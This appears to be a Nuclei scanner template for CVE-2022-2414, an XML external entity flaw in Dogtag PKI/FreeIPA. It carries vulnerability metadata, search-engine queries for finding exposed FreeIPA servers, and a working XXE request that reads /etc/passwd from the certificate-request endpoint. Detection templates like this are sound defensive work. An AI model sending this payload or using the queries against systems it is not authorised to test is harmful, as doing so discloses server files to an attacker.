2023-08-05 09:56:39 +00:00
id : CVE-2022-2414
info :
2023-08-05 10:07:45 +00:00
name : FreeIPA - XML Entity Injection
2023-08-05 09:56:39 +00:00
author : DhiyaneshDk
severity : high
description : |
Access to external entities when parsing XML documents can lead to XML external entity (XXE) attacks. This flaw allows a remote attacker to potentially retrieve the content of arbitrary files by sending specially crafted HTTP requests.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can exploit this vulnerability to gain unauthorized access to sensitive information stored on the server.
2023-09-06 11:59:08 +00:00
remediation : |
Apply the latest security patches and updates provided by the vendor to fix the XML Entity Injection vulnerability in FreeIPA.
2023-08-05 09:56:39 +00:00
reference :
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/Dogtag/Dogtag%20PKI%20XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-2414.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-2414
- https://github.com/dogtagpki/pki/pull/4021
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cve-id : CVE-2022-2414
cwe-id : CWE-611
2024-04-08 11:34:33 +00:00
epss-score : 0.01256
epss-percentile : 0.84092
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:dogtagpki:dogtagpki:10.5.18:*:*:*:*:*:*:*
2023-08-05 09:56:39 +00:00
metadata :
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-08-31 11:46:18 +00:00
vendor : dogtagpki
product : dogtagpki
2024-06-07 10:04:29 +00:00
shodan-query :
- title:"Identity Management" html:"FreeIPA"
- http.title:"identity management" html:"freeipa"
fofa-query :
- title="Identity Management"
- title="identity management"
- title="identity management" html:"freeipa"
2024-05-31 19:23:20 +00:00
google-query : intitle:"identity management" html:"freeipa"
2023-12-05 09:50:33 +00:00
tags : cve,cve2022,dogtag,freeipa,xxe,dogtagpki
2023-08-05 09:56:39 +00:00
http :
- raw :
- |
POST /ca/rest/certrequests HTTP/1.1
Host : {{Hostname}}
Content-Type : application/xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<CertEnrollmentRequest>
<Attributes/>
<ProfileID>&ent;</ProfileID>
</CertEnrollmentRequest>
matchers-condition : and
matchers :
- type : regex
part : body
regex :
- "root:.*:0:0:"
- type : word
part : body
words :
- "PKIException"
- type : word
part : header
words :
- "application/xml"
- type : status
status :
- 400
2024-06-08 16:02:17 +00:00
# digest: 4a0a0047304502202e7ffe2984dc1d2a2a3b9f295743656980d146a512bebd2f660485641430f47a022100de7db647d6adc79aa3d8285c0fd9c6034f7eda696a613a144fd601578c83689f:922c64590222798bb761d5b6d8e72950